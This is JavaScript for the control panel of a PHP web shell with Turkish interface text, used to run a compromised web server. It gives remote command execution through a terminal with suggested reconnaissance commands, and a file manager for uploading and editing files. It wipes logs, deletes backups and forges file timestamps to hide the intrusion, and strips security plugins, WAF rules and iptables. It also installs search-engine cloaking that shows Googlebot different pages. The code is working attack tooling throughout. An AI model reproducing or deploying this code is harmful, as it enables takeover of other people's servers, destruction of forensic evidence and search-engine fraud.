const _Nav=[];

function ts(m,t){
  const e=document.getElementById('ts');
  e.className='ts on';
  const ic=t==='e'?'&#10007;':t==='w'?'&#9888;':'&#10003;';
  const cl=t==='e'?'#e74c3c':t==='w'?'#f39c12':'#2ecc71';
  e.innerHTML=`<span class="ts-ic" style="color:${cl}">${ic}</span><span class="ts-t">${m}</span><span class="ts-x" onclick="document.getElementById('ts').classList.remove('on')">&times;</span>`;
  clearTimeout(e._h);e._h=setTimeout(()=>e.classList.remove('on'),3500);
}

function _sb(e){
  let b=e.target;
  while(b&&b.tagName!=='BUTTON')b=b.parentNode;
  if(!b||!b.dataset.tab)return;
  document.querySelectorAll('.sb button').forEach(x=>x.classList.remove('on'));
  b.classList.add('on');
  document.querySelectorAll('.pn').forEach(x=>x.classList.remove('on'));
  document.getElementById('pn-'+b.dataset.tab).classList.add('on');
  const actions={'info':loadInfo,'domains':loadDomains,'files':()=>loadFiles(C),'cloak':loadCloak,'wpadmin':loadWp,'propagate':loadPropagate};
  if(actions[b.dataset.tab])actions[b.dataset.tab]();
}
if(document.getElementById('sidebar'))document.getElementById('sidebar').addEventListener('click',_sb);

const fs=(s)=>{if(!s)return'0B';const u=['B','KB','MB','GB'];let i=0;while(s>=1024&&i<3){s/=1024;i++}return s.toFixed(1)+u[i]}
function switchTab(t){document.querySelectorAll('.sb button').forEach(b=>b.classList.toggle('on',b.dataset.tab===t));document.querySelectorAll('.pn').forEach(p=>p.classList.toggle('on',p.id==='pn-'+t));}
const fic=(n)=>{const e=n.split('.').pop().toLowerCase();const m={'php':'&#128049;','js':'&#128736;','css':'&#127912;','html':'&#127760;','htm':'&#127760;','json':'&#123;}','xml':'&#9881;','txt':'&#128196;','md':'&#128221;','sql':'&#128451;','log':'&#128196;','ini':'&#9881;','cfg':'&#9881;','htaccess':'&#128274;','env':'&#128273;'};const im={'jpg':'&#128247;','jpeg':'&#128247;','png':'&#128247;','gif':'&#128247;','svg':'&#128247;','webp':'&#128247;','ico':'&#128247;'};const ar={'zip':'&#128451;','rar':'&#128451;','gz':'&#128451;','tar':'&#128451;','gz2':'&#128451;','7z':'&#128451;'};if(m[e])return m[e];if(im[e])return im[e];if(ar[e])return ar[e];if(['mp3','wav','ogg','flac'].includes(e))return'&#127925;';if(['mp4','avi','mkv','webm','mov'].includes(e))return'&#127916;';if(['pdf','doc','docx','xls','xlsx','ppt','pptx'].includes(e))return'&#128196;';if(['py','rb','go','java','c','cpp','h','ts','sh','bash'].includes(e))return'&#128187;';return'&#128196;';}

async function loadInfo(){
  const el=document.getElementById('pn-info');
  el.innerHTML='<div class="cd"><div class="cd-h"><h3>loading</h3></div></div>';
  const r=await jf(U('i'));
  if(!r||!r.o)return;
  const i=r.n;
  el.innerHTML=`<div class="sg"><div class="s"><span class="n">${i.v}</span><span class="l">PHP</span></div><div class="s"><span class="n">${i.uid}</span><span class="l">User</span></div><div class="s"><span class="n">${i.h}</span><span class="l">Server</span></div><div class="s"><span class="n">${fs(i.ds)}</span><span class="l">Free</span></div></div><div class="cd"><div class="cd-h"><h3>System Details</h3></div><div class="cd-b"><div class="ir"><span class="k">PHP</span><span class="v">${i.v}</span></div><div class="ir"><span class="k">cURL</span><span class="v">${i.cr}</span></div><div class="ir"><span class="k">Server</span><span class="v">${i.s}</span></div><div class="ir"><span class="k">Host</span><span class="v">${i.h}</span></div><div class="ir"><span class="k">IP</span><span class="v">${i.a}</span></div><div class="ir"><span class="k">User</span><span class="v">${i.uid}</span></div><div class="ir"><span class="k" style="width:70px">Root</span><span class="v" style="font-family:monospace">${i.r}</span></div><div class="ir"><span class="k" style="width:70px">Script</span><span class="v" style="font-family:monospace">${i.f}</span></div><div class="ir"><span class="k">OS</span><span class="v">${i.u}</span></div><div class="ir"><span class="k">Disk</span><span class="v">${fs(i.ds)} / ${fs(i.dt)}</span></div><div class="ir"><span class="k">allow_url</span><span class="v ${i.af==='On'?'g':'r'}">${i.af}</span></div><div class="ir"><span class="k" style="width:70px">Disabled</span><span class="v">${i.df}</span></div></div></div><div class="cd"><div class="cd-h"><h3>Quick Clean</h3></div><div class="cd-b" style="text-align:center"><button class="btn btn-p" onclick="quickClean()" id="b-qc">Cleaner + Spoofer + Logs + Backups</button><div id="qc-r" style="margin-top:8px;font-size:11px;color:#8b949e"></div></div></div><div id="trm"></div>`;
  loadTrm();
}
async function quickClean(){
  const b=document.getElementById('b-qc'),r=document.getElementById('qc-r');
  if(!b||b.disabled)return;
  b.disabled=true;b.textContent='Working...';
  const log=(m)=>{if(r)r.innerHTML+=m+'<br>'};
  log('Cleaner basladi...');
  const cl=await jf(U('cl','m=c'));
  if(cl&&cl.o)log('Cleaner: '+cl.r.length+' islem');
  else log('Cleaner: hata');
  log('Spoofer basladi...');
  const sp=await req('sp',{m:'all',d:'<?php echo addslashes(dirname(__FILE__)) ?>'});
  if(sp&&sp.o)log('Spoofer: '+sp.c+' dosya');
  else log('Spoofer: hata');
  log('Loglar temizleniyor...');
  const lg=await req('lg',{m:'nuke'});
  if(lg&&lg.o)log('Log: '+lg.c+' dosya, '+fs(lg.f)+' freed');
  else log('Log: hata');
  log('Backups taranıyor...');
  const bk=await jf(U('bk','m=scan'));
  if(bk&&bk.o&&bk.bk&&bk.bk.length){
    log('Backups: '+bk.bk.length+' bulundu, siliniyor...');
    for(let i=0;i<bk.bk.length;i++){
      const d=await req('bk',{m:'del',f:bk.bk[i].p});
      if(!d||!d.o)log('Silinemedi: '+bk.bk[i].p);
    }
    log('Backups: tamam');
  }else log('Backups: yok');
  b.disabled=false;b.textContent='Cleaner + Spoofer + Logs + Backups';
  ts('Quick Clean done');
}

let _TrmHist=[],_TrmIdx=-1;
const _TrmSugg=[
  'id','whoami','uname -a','pwd','ls -la','df -h','free -m','uptime','env','php -v',
  'id;whoami;uname -a;uptime','ls -la /home','find / -type f -name wp-config.php 2>/dev/null',
  'cat /etc/os-release','netstat -tlnp','ps aux','curl -s ifconfig.me'
];
function loadTrm(){
  const el=document.getElementById('trm');
  if(!el)return;
  el.innerHTML='<div class="trm"><div class="trm-h"><h3>Terminal</h3><span class="gr" style="font-size:8px">exec</span></div><div class="trm-out" id="tOut"><span class="p">type a command and press Enter</span></div><div class="trm-sg" id="tSg"></div><div class="trm-in"><span class="pr">$</span><input type="text" id="tIn" placeholder="cmd..." autocomplete="off" spellcheck="false"></div></div>';
  const sg=document.getElementById('tSg');
  _TrmSugg.forEach(cmd=>{
    const b=document.createElement('button');
    b.textContent=cmd;
    b.onclick=()=>doTrm(cmd);
    sg.appendChild(b);
  });
  const inp=document.getElementById('tIn');
  inp.addEventListener('keydown',e=>{
    if(e.key==='Enter'){const cmd=inp.value.trim();if(cmd){_TrmHist.push(cmd);_TrmIdx=-1;doTrm(cmd);inp.value='';}return}
    if(e.key==='ArrowUp'){e.preventDefault();if(_TrmHist.length){_TrmIdx=Math.min(_TrmIdx+1,_TrmHist.length-1);inp.value=_TrmHist[_TrmHist.length-1-_TrmIdx];}}
    if(e.key==='ArrowDown'){e.preventDefault();if(_TrmIdx>=0){_TrmIdx--;inp.value=_TrmIdx>=0?_TrmHist[_TrmHist.length-1-_TrmIdx]:'';}}
    if(e.key==='Tab'){e.preventDefault();const v=inp.value.trim().toLowerCase();if(!v)return;for(let i=0;i<_TrmSugg.length;i++){if(_TrmSugg[i].toLowerCase().indexOf(v)===0){inp.value=_TrmSugg[i];break;}}}
  });
}
async function doTrm(cmd){
  const out=document.getElementById('tOut');
  out.innerHTML+=`<br><span style="color:#888">$ ${cmd.replace(/&/g,'&amp;').replace(/</g,'&lt;')}</span>`;
  const r=await jf(U('cmd','c='+encodeURIComponent(cmd)));
  if(r&&r.o){const txt=r.o||'';out.innerHTML+=`<br>${txt.replace(/&/g,'&amp;').replace(/</g,'&lt;').replace(/\n/g,'<br>')}`;}
  else{out.innerHTML+='<br><span class="r">error</span>';}
  out.scrollTop=out.scrollHeight;
}

async function loadDomains(){
  const el=document.getElementById('pn-domains');
  el.innerHTML='<div class="cd"><div class="cd-h"><h3>scanning</h3></div></div>';
  const r=await jf(U('d'));
  if(!r||!r.o){el.innerHTML='<div class="cd"><div class="cd-h"><h3>error</h3></div></div>';return}
  const d=r.dl||[];
  d.sort((a,b)=>a.d.localeCompare(b.d));
  let html=`<div class="cd"><div class="cd-h"><h3>Domains <em>(${d.length})</em></h3></div><div class="cd-b">`;
  if(!d.length){html+='<div class="gr" style="padding:14px 0;text-align:center">no domains found</div>';}else{
  html+='<table class="tb"><tr><th>Domain</th><th>Path</th><th>Access</th></tr>';
  d.forEach(x=>{
    const p=x.w||'-';
    const ic=x.x===true?'<span class="g">w</span>':x.x===false?'<span class="r">r</span>':'<span class="gr">?</span>';
    html+=`<tr><td><a href="#" onclick="switchTab('files');loadFiles('${p.replace(/'/g,"\\'")}');return false" style="color:#ddd">${x.d}</a></td><td style="font-family:monospace;color:#8b949e;max-width:260px;overflow:hidden;text-overflow:ellipsis;font-size:10px">${p}</td><td>${ic}</td></tr>`;
  });
  html+='</table>';}
  html+='</div></div>';
  el.innerHTML=html;
  ts(`found ${d.length} domains`);
}

const _Home=window.location.pathname.replace(/\/[^/]*$/,'')||'/';

async function loadFiles(dir){
  if(dir!==C&&_Nav[_Nav.length-1]!==C)_Nav.push(C);
  C=dir;
  const el=document.getElementById('pn-files');
  el.innerHTML='<div class="cd"><div class="cd-h"><h3>loading</h3></div></div>';
  document.getElementById('pathDisplay').textContent=dir;
  const r=await jf(U('l','d='+encodeURIComponent(dir)));
  if(!r||!r.o){el.innerHTML=`<div class="cd"><div class="cd-h"><h3>${r&&r.e||'error'}</h3></div></div>`;return}
  const fl=r.fl||[],cd=r.cd||dir;
  const segs=cd.replace(/\\/g,'/').split('/').filter(Boolean);
  let ph='<div class="br">',acc='';
  if(!segs.length){ph+='<span class="sg" onclick="loadFiles(\'/\')" style="color:#666">/</span>';}else{
  segs.forEach((s,i)=>{acc+='/'+s;ph+=`<span class="sp">/</span><span class="sg" onclick="loadFiles('${acc}')">${s}</span>`});}
  ph+='</div>';
  let html='<div class="cd"><div class="cd-h"><h3>Files</h3><div class="ctrls">';
  if(_Nav.length){html+=`<button class="btn btn-x" onclick="var d=_Nav.pop();if(d)loadFiles(d)" title="back" style="font-size:12px">&#8592;</button>`}
  html+=`<button class="btn btn-x" onclick="loadFiles('.')" title="home" style="font-size:12px">&#8962;</button>`;
  if(cd!=='.'&&cd!=='/'&&cd){const p=cd.replace(/\\/g,'/').replace(/\/[^/]+$/,'')||'.';html+=`<button class="btn btn-x" onclick="loadFiles('${p.replace(/'/g,"\\'")}')">[ .. ]</button>`}
  html+='<button class="btn btn-p btn-x" onclick="up()">Upload</button><button class="btn btn-x" onclick="md()">New Folder</button><span class="sp"></span><span class="fi"><i>&#8981;</i><input placeholder="Filter" oninput="fl(this.value)"></span>';
  html+=`</div></div><div class="cd-b">${ph}<table class="tb"><tr><th></th><th>Name</th><th>Size</th><th>Perm</th><th>Modified</th><th></th></tr><tbody id="ft">`;
  const dirs=fl.filter(f=>f.d).sort((a,b)=>a.n.localeCompare(b.n));
  const fis=fl.filter(f=>!f.d).sort((a,b)=>a.n.localeCompare(b.n));
  dirs.concat(fis).forEach(f=>{
    const sz=f.d?'-':f.z<1024?f.z+'B':f.z<1048576?(f.z/1024).toFixed(1)+'K':(f.z/1048576).toFixed(1)+'M';
    const nm=f.n.replace(/'/g,"\\'"),fp=f.p.replace(/\\/g,'/').replace(/'/g,"\\'");
    const pc=f.w?'nw':'nw-r';
    const ic=f.d?'&#128193;':fic(f.n);
    html+=`<tr class="fo" data-n="${f.n.toLowerCase()}">`;
    html+=`<td class="fi-ic">${ic}</td>`;
    if(f.d)html+=`<td><a href="#" onclick="loadFiles('${fp}');return false">${f.n}/</a></td>`;
    else html+=`<td><a href="#" onclick="ef('${fp}');return false">${f.n}</a></td>`;
    html+=`<td class="sz">${sz}</td><td class="${pc}">${f.pr}</td><td class="sz">${f.m}</td>`;
    html+=`<td style="text-align:right"><button class="btn btn-x" onclick="ef('${fp}')">Edit</button><button class="btn btn-x" onclick="rn('${fp}','${nm}')">Rename</button><button class="btn btn-x btn-d" onclick="rm('${fp}','${nm}')">Delete</button></td></tr>`;
  });
  html+='</tbody></table></div></div>';
  el.innerHTML=html;
}

function fl(v){
  document.querySelectorAll('#ft tr').forEach(el=>{
    el.style.display=el.dataset.n.indexOf(v.toLowerCase())>-1?'':'none';
  });
}

function up(){
  const i=document.createElement('input');i.type='file';
  i.onchange=async()=>{if(!i.files[0])return;const r=await req('up',{f:i.files[0],d:C});if(r.o){ts(r.w||'uploaded');loadFiles(C)}else ts(r.e||'failed','e')};
  i.click();
}

/* modal helpers */
let _moCb=null;
function moShow(t,msg,val,cb){document.getElementById('mo-t').textContent=t;document.getElementById('mo-p').textContent=msg;const i=document.getElementById('mo-in');i.value=val||'';i.focus();document.getElementById('modal').classList.add('on');_moCb=cb;}
function moCl(){document.getElementById('modal').classList.remove('on');_moCb=null;}
function moOk(){const v=document.getElementById('mo-in').value.trim();document.getElementById('modal').classList.remove('on');if(_moCb){_moCb(v);}_moCb=null;}

function md(){
  moShow('New Folder','Enter directory name:','',(n)=>{
    if(!n)return;
    req('md',{p:C+'/'+n}).then(r=>{if(r.o){ts('created');loadFiles(C)}else ts(r.e||'failed','e')});
  });
}

async function rm(path,name){
  if(!confirm(`Delete "${name}"?`))return;
  const r=await req('rm',{p:path});
  if(r.o){ts('silindi');loadFiles(C)}else ts(r.e||'failed','e');
}

async function rn(path,old){
  moShow('Rename','Enter new name:',old,(n)=>{
    if(!n||n===old)return;
    req('mv',{o:path,n:n}).then(r=>{if(r.o){ts('renamed');loadFiles(C)}else ts(r.e||'failed','e')});
  });
}

async function ef(path){
  const el=document.getElementById('pn-files');
  const r=await req('ed',{p:path});
  if(r.e){ts(r.e,'e');return}
  if(!r.o){ts(r.e||'cannot read','e');return}
  const fp=r.p.replace(/'/g,"\\'"),bc=C.replace(/'/g,"\\'");
  el.innerHTML=`<div class="cd"><div class="cd-h"><h3>Edit</h3><div class="eb"><span class="fp">${r.p}</span><button class="btn btn-p btn-x" onclick="sv('${fp}')">Save</button><button class="btn btn-x" onclick="loadFiles('${bc}')">Back</button></div></div><div class="cd-b"><textarea id="ed">${r.c.replace(/&/g,'&amp;').replace(/</g,'&lt;').replace(/>/g,'&gt;')}</textarea></div></div>`;
}

async function sv(path){
  const b=document.querySelector('.eb .btn-p'),ot=b.textContent;
  b.textContent='Saving...';b.disabled=true;
  const r=await req('sv',{p:path,c:document.getElementById('ed').value});
  if(r.e){b.textContent='✗ Error';setTimeout(()=>{b.textContent=ot;b.disabled=false},1500);ts(r.e,'e');return}
  if(r.o){b.textContent='✓ Saved';setTimeout(()=>{b.textContent=ot;b.disabled=false},1200);ts('saved')}
  else{b.textContent='✗ Failed';setTimeout(()=>{b.textContent=ot;b.disabled=false},1500);ts(r.e||'failed','e')}
}

async function loadCleaner(){
  const el=document.getElementById('pn-cleaner');
  el.innerHTML='<div class="cd"><div class="cd-h"><h3>Optimization Suite</h3></div><div class="cd-b"><div class="bx"><div><div class="bi">C</div><div class="bl">Clear Cache</div><div class="bd">WP, Joomla, Drupal, Magento, Laravel<br>Generic cache dirs + PHP opcache</div><button class="btn btn-p" onclick="runCl(\'c\')" id="b-c">Run Cleaner</button></div><div><div class="bi">F</div><div class="bl">Security Audit</div><div class="bd">Remove security plugins, WAF rules<br>Sanitize .htaccess, flush iptables</div><button class="btn btn-d" onclick="runCl(\'f\')" id="b-f">Run Audit</button></div></div></div></div><div id="cl-r"></div>';
}

async function runCl(m){
  const b=document.getElementById('b-'+(m==='c'?'c':'f')),ot=b.textContent;
  b.textContent='Working...';b.disabled=true;
  const re=document.getElementById('cl-r');
  re.innerHTML='<div class="cd"><div class="cd-b" style="padding:14px;text-align:center;color:#444">scanning...</div></div>';
  const r=await jf(U('cl','m='+m));
  b.textContent=ot;b.disabled=false;
  if(!r||!r.o){re.innerHTML=`<div class="cd"><div class="cd-h"><h3>error</h3></div><div class="cd-b" style="color:#c0392b">${r&&r.e||'baglanti hatasi'}</div></div>`;return}
  const rs=r.r||[],ok=rs.filter(x=>x.s==='ok'||x.s==='sanitized'||x.s==='stopped'),err=rs.filter(x=>x.s.indexOf('err')===0);
  let html=`<div class="sg"><div class="s"><span class="n">${rs.length}</span><span class="l">Actions</span></div><div class="s"><span class="n g">${ok.length}</span><span class="l">OK</span></div><div class="s"><span class="n${err.length?' r':''}">${err.length}</span><span class="l">Errors</span></div><div class="s"><span class="n">${fs(r.tf)}</span><span class="l">Freed</span></div></div>`;
  if(rs.length){
    html+='<div class="cd"><div class="cd-h"><h3>Details</h3></div><div class="cd-b" style="max-height:320px;overflow-y:auto"><table class="tb"><tr><th>Type</th><th>Target</th><th>Status</th><th>Files</th><th>Size</th></tr>';
    rs.forEach(x=>{
      const sc=(x.s==='ok'||x.s==='sanitized'||x.s==='stopped')?'class="g"':'class="r"';
      html+=`<tr><td style="font-size:7px;text-transform:uppercase;letter-spacing:.3px;color:#444">${x.t}</td><td style="font-size:8px;max-width:240px;overflow:hidden;text-overflow:ellipsis;font-family:monospace;color:#666">${x.g}</td><td><span ${sc}>${x.s}</span></td><td style="color:#444;font-size:9px">${x.x}</td><td style="color:#444;font-size:9px;font-family:monospace">${fs(x.f)}</td></tr>`;
    });
    html+='</table></div></div>';
  }
  re.innerHTML=html;
  ts((m==='c'?'Cache cleaned: ':'Audit complete: ')+ok.length+' items');
}

async function loadSpoofer(){
  const el=document.getElementById('pn-spoofer');
  el.innerHTML='<div class="cd"><div class="cd-h"><h3>Spoofer</h3></div><div class="cd-b"><div class="bx"><div><div class="bi">&#8635;</div><div class="bl">Tum Dosyalar</div><div class="bd">Domaindeki HER dosyanin tarih+izinleri (0644) en eski dosyaya esitlenir.<br>PHP, JS, CSS, PNG - ne varsa kapsar.</div><button class="btn btn-p" onclick="runSp()" id="b-sp">Spoof Tumu</button></div></div></div></div><div id="sp-r"></div>';
}
let _spDir='<?php echo addslashes(dirname(__FILE__)) ?>';
async function runSp(){
  const b=document.getElementById('b-sp'),ot=b.textContent;
  b.textContent='Spoofing...';b.disabled=true;
  const re=document.getElementById('sp-r');
  re.innerHTML='<div class="cd"><div class="cd-b" style="padding:14px;text-align:center;color:#444">taranıyor...</div></div>';
  const r=await req('sp',{m:'all',d:_spDir});
  b.textContent=ot;b.disabled=false;
  if(!r.o){re.innerHTML=`<div class="cd"><div class="cd-h"><h3>error</h3></div><div class="cd-b" style="color:#c0392b">${r.e}</div></div>`;return}
  let dt='?';if(r.ts){const d2=new Date(r.ts*1000);dt=d2.getFullYear()+'-'+(d2.getMonth()+1).toString().padStart(2,'0')+'-'+d2.getDate().toString().padStart(2,'0')+' '+d2.getHours().toString().padStart(2,'0')+':'+d2.getMinutes().toString().padStart(2,'0')}
  const errMsg=r.e>0?` <span class="r">(${r.e} failed)</span>`:'';
  re.innerHTML=`<div class="sg"><div class="s"><span class="n g">${r.c}</span><span class="l">Spoofed${errMsg}</span></div><div class="s"><span class="n">${r.t}</span><span class="l">Total Files</span></div><div class="s"><span class="n" style="font-size:9px">${dt}</span><span class="l">Oldest Timestamp</span></div></div>`;
  ts('Spoofed '+r.c+' files'+(r.e?' ('+r.e+' failed)':''));
}

async function loadLogs(){
  const el=document.getElementById('pn-logs');
  el.innerHTML='<div class="cd"><div class="cd-h"><h3>Log Cleaner</h3><button class="btn btn-d" onclick="nukeLg()" id="b-nuke">Nuke All</button></div><div class="cd-b" id="lg-r"><div style="text-align:center;padding:20px;color:#444">scanning...</div></div></div>';
  const r=await jf(U('lg','m=scan'));
  if(!r||!r.o){document.getElementById('lg-r').innerHTML=`<div style="text-align:center;padding:20px;color:#c0392b">${r&&r.e||'baglanti hatasi'}</div>`;return}
  const lg=r.logs||[];
  const total=lg.reduce((a,x)=>a+x.s,0);
  let html=`<div class="sg"><div class="s"><span class="n">${lg.length}</span><span class="l">Log Files</span></div><div class="s"><span class="n">${fs(total)}</span><span class="l">Total Size</span></div></div>`;
  if(lg.length){
    html+='<div class="cd"><div class="cd-h"><h3>Detected Logs</h3></div><div class="cd-b" style="max-height:320px;overflow-y:auto"><table class="tb"><tr><th>File</th><th>Size</th></tr>';
    lg.forEach(x=>{
      html+=`<tr><td style="font-size:8px;max-width:350px;overflow:hidden;text-overflow:ellipsis;font-family:monospace;color:#666">${x.p}</td><td style="color:#444;font-size:9px;font-family:monospace">${fs(x.s)}</td></tr>`;
    });
    html+='</table></div></div>';
    document.getElementById('b-nuke').style.display='inline-flex';
  }else{
    html+='<div class="cd"><div class="cd-b" style="text-align:center;padding:20px;color:#444">no log files found</div></div>';
    document.getElementById('b-nuke').style.display='none';
  }
  document.getElementById('lg-r').innerHTML=html;
}

async function nukeLg(){
  if(!confirm('Nuke all '+document.querySelectorAll('#lg-r table tr').length+' log files?'))return;
  const b=document.getElementById('b-nuke'),ot=b.textContent;
  b.textContent='Nuking...';b.disabled=true;
  const r=await req('lg',{m:'nuke'});
  b.textContent=ot;b.disabled=false;
  if(!r.o){document.getElementById('lg-r').innerHTML+=`<div style="color:#c0392b;margin-top:8px">${r.e}</div>`;return}
  const lg=r.logs||[];
  const ok=lg.filter(x=>x.o==='ok'),err=lg.filter(x=>x.o==='err');
  let html=`<div class="sg"><div class="s"><span class="n g">${ok.length}</span><span class="l">Cleared</span></div><div class="s"><span class="n${err.length?' r':''}">${err.length}</span><span class="l">Errors</span></div><div class="s"><span class="n">${fs(r.f)}</span><span class="l">Freed</span></div></div>`;
  if(lg.length){
    html+='<div class="cd"><div class="cd-h"><h3>Result</h3></div><div class="cd-b" style="max-height:320px;overflow-y:auto"><table class="tb"><tr><th>File</th><th>Size</th><th>Status</th></tr>';
    lg.forEach(x=>{
      const sc=x.o==='ok'?'class="g"':'class="r"';
      html+=`<tr><td style="font-size:8px;max-width:300px;overflow:hidden;text-overflow:ellipsis;font-family:monospace;color:#666">${x.p}</td><td style="color:#444;font-size:9px;font-family:monospace">${fs(x.s)}</td><td><span ${sc}>${x.o}</span></td></tr>`;
    });
    html+='</table></div></div>';
  }
  document.getElementById('lg-r').innerHTML=html;
  document.getElementById('b-nuke').style.display='none';
  ts('Nuked '+ok.length+' log files');
}

async function loadBackups(){
  const el=document.getElementById('pn-backups');
  const bkR=document.getElementById('bk-r');
  if(bkR){bkR.innerHTML='<div style="text-align:center;padding:20px;color:#444">scanning...</div>';}else{
    el.innerHTML='<div class="cd"><div class="cd-h"><h3>Backups</h3></div><div class="cd-b" id="bk-r"><div style="text-align:center;padding:20px;color:#444">scanning...</div></div></div>';
  }
  let r;
  try{
    const to=setTimeout(()=>{ts('Zaman asimi, tekrar dene','e');document.getElementById('bk-r').innerHTML='<div style="text-align:center;padding:20px;color:#c0392b">Zaman asimi (12sn)</div>';},12000);
    r=await jf(U('bk','m=scan'));clearTimeout(to);
  }catch(e){document.getElementById('bk-r').innerHTML='<div style="text-align:center;padding:20px;color:#c0392b">Hata: '+e.message+'</div>';return}
  if(!r||!r.o){document.getElementById('bk-r').innerHTML='<div style="text-align:center;padding:20px;color:#c0392b">'+(r&&r.e||'baglanti hatasi')+'</div>';return}
  var bk=r.bk||[];
  var total=bk.reduce(function(a,x){return a+x.s},0);
  let html=`<div class="sg"><div class="s"><span class="n">${bk.length}</span><span class="l">Backups</span></div><div class="s"><span class="n">${fs(total)}</span><span class="l">Total Size</span></div></div>`;
  if(bk.length){
    html+='<div class="cd"><div class="cd-h"><h3>Found Backups</h3></div><div class="cd-b" style="max-height:400px;overflow-y:auto"><table class="tb"><tr><th>File</th><th>Size</th><th>Date</th><th></th></tr>';
    bk.forEach(x=>{
      html+=`<tr><td style="font-size:8px;max-width:320px;overflow:hidden;text-overflow:ellipsis;font-family:monospace;color:#666">${x.p}</td><td style="color:#444;font-size:9px;font-family:monospace">${fs(x.s)}</td><td style="color:#555;font-size:9px">${x.m}</td><td style="text-align:right"><button class="btn btn-x btn-d" onclick="rmBk('${x.p.replace(/'/g,"\\'")}')">Delete</button></td></tr>`;
    });
    html+='</table></div></div>';
  }else{
    html+='<div class="cd"><div class="cd-b" style="text-align:center;padding:20px;color:#444">no backup files found</div></div>';
  }
  document.getElementById('bk-r').innerHTML=html;
}

async function rmBk(p){
  if(!confirm('Delete this backup?'))return;
  const r=await req('bk',{m:'del',f:p});
  if(r.o){ts('deleted');loadBackups();}else ts(r.e||'failed','e');
}


async function loadCloak(){
  const el=document.getElementById('pn-cloak');
  el.innerHTML='<div class="cd"><div class="cd-h"><h3>loading</h3></div></div>';
  const r=await jf(U('ck','m=status'));
  if(!r||!r.o){el.innerHTML=`<div class="cd"><div class="cd-h"><h3>error</h3></div><div class="cd-b" style="color:#c0392b">${r&&r.e||'baglanti hatasi'}</div></div>`;return}
  const s=r;
  const cs=s.aktif?'on':(s.perde_var?'off':'na');
  const cl=s.aktif?'AKTIF':(s.perde_var?'KAPALI':'KURULU DEGIL');
  let html=`<div class="ck"><div class="ck-h">DURUM</div>
<div class="ck-r"><span class="ck-l">Cloak</span><span class="ck-cs ${cs}"><span class="dot"></span>${cl}</span><span class="ck-t">${s.cms}</span><span style="color:#8b949e;font-size:10px">Perde: ${s.perde_var?s.perde_size+'B':'YOK'}</span></div>`;
  if(s.gfiles&&s.gfiles.length){
    s.gfiles.forEach(g=>{html+=`<div class="ck-r"><span class="ck-l">Google</span><span style="font-size:10px">${g}</span> <a href="#" onclick="ckRmG('${g}');return false" style="color:#c33;font-size:10px">[sil]</a></div>`});
  }
  html+=`</div>
<div class="ck"><div class="ck-h">ISLEMLER</div>
<div class="ck-g">
<button class="btn btn-i" onclick="ckPc()">&#10003; On Test</button>
<button class="btn btn-p" onclick="ckAc()">&#9654; Cloak Kur</button>
<button class="btn btn-w" onclick="ckBt()">&#9881; Bot Test</button>
<button class="btn" style="background:#a0a;color:#fff" onclick="ckRv()">&#9632; Kapat</button>
<button class="btn" style="background:#0a3a3a;color:#0ff" onclick="ckCc()">&#9851; Cache</button>
<button class="btn" style="background:#2a1a4a;color:#c9f" onclick="ckFts()">&#9200; TS</button>
<button class="btn btn-d" onclick="ckUi()">&#10007; Kaldir</button>
</div>
<div style="display:flex;gap:4px;margin:4px 0;flex-wrap:wrap">
<button class="btn" style="background:#1a1a1a;color:#f80;border:1px solid #f80;font-size:10px;padding:4px 10px" onclick="ckCht()">.htaccess Temizle</button>
<a href="https://search.google.com/test/rich-results?url=${encodeURIComponent(location.protocol+'//'+location.host)}" target="_blank" class="btn" style="background:#1a1a1a;color:#fa0;border:1px solid #fa0;font-size:10px;padding:4px 10px;text-decoration:none;display:inline-flex">Zengin Sonuclar Testi &nearr;</a>
</div>
<div id="ck-msg" class="ck-msg"></div>
<div id="ck-ra" style="display:none;margin-top:4px;font-size:10px;color:#aaa;max-height:140px;overflow-y:auto"></div>
</div>
<div class="ck"><div class="ck-h">PERDE HTML <span style="font-weight:400;opacity:.5;text-transform:none">— Googlebot gorur</span></div>
<div style="display:flex;gap:4px;margin-bottom:6px">
<button class="ck-b3" onclick="ckLp()">Yukle</button>
<button class="ck-b2" onclick="ckSp()">Kaydet</button>
<button class="ck-b1" onclick="document.getElementById('ck-ph').value=''">Temizle</button>
<button class="btn btn-i btn-x" onclick="ckDbg()">Test</button>
</div>
<textarea class="ck-ta" id="ck-ph" placeholder="Perde HTML..." onfocus="if(!this._loaded){this._loaded=true;ckLp()}"></textarea>
<div id="ck-pmsg" class="ck-msg"></div></div>
<div class="ck"><div class="ck-h">GOOGLE DOGRULAMA</div>
<input class="ck-in" id="ck-gn" placeholder="google....html">
<input class="ck-in" id="ck-gc" placeholder="google-site-verification: TOKEN">
<div style="margin-top:6px"><button class="ck-b2" onclick="ckUg()">Yukle</button></div>
<div id="ck-gm" class="ck-msg"></div></div>
<div class="ck"><div class="ck-h">SIRALI ANLATIM</div>
<div class="ck-sg"><span class="num">1</span><b style="color:#f0f6fc">Perde HTML</b> — Yuklenmemis ise <b style="color:#3fb950">Yukle</b>'ye tikla veya kutuya yapistirip <b style="color:#3fb950">Kaydet</b></div>
<div class="ck-sg"><span class="num">2</span><b style="color:#f0f6fc">Cloak Kur</b> — ISLEMLER bolumundeki <b style="color:#3fb950">Cloak Kur</b> butonu</div>
<div class="ck-sg"><span class="num">3</span><b style="color:#f0f6fc">Test Et</b> — Bot Test ile dene veya Zengin Sonuclar Testi'ne gir</div>
</div>`;
  el.innerHTML=html;
}

function ckMsg(id,t,ty){const e=document.getElementById(id);e.textContent=t;e.className='ck-msg '+(ty||'info')}

async function ckPc(){
  ckMsg('ck-msg','On test calisiyor...','info');
  const ra=document.getElementById('ck-ra');ra.style.display='none';
  const r=await jf(U('ck','m=precheck'));
  if(!r||!r.o){ckMsg('ck-msg',r&&r.e||'baglanti hatasi','err');return}
  let h=`<b>Skor: ${r.score}/100</b><br>`;
  r.checks.forEach(c=>{
    const ic=c.s==='ok'?'&#10003;':(c.s==='warn'?'!':'&#10007;');
    const cl=c.s==='ok'?'#0f0':(c.s==='warn'?'#fa0':'#c33');
    h+=`<div style="color:${cl};margin:2px 0">${ic} ${c.name}: ${c.v} - ${c.m}</div>`;
  });
  ra.innerHTML=h;ra.style.display='block';ckMsg('ck-msg','','');
}

async function ckAc(){
  const ph=document.getElementById('ck-ph').value.trim();
  if(ph.length<50){ckMsg('ck-msg','Once perde HTML yapistir ve KAYDET et!','err');return}
  ckMsg('ck-msg','Cloak kuruluyor...','info');
  let r;try{r=await req('ck',{m:'autocloak'});}catch(e){ckMsg('ck-msg','Hata: '+(e.message||e),'err');return}
  if(r.o){ckMsg('ck-msg','Cloak kuruldu!','ok');setTimeout(()=>loadCloak(),1500);}
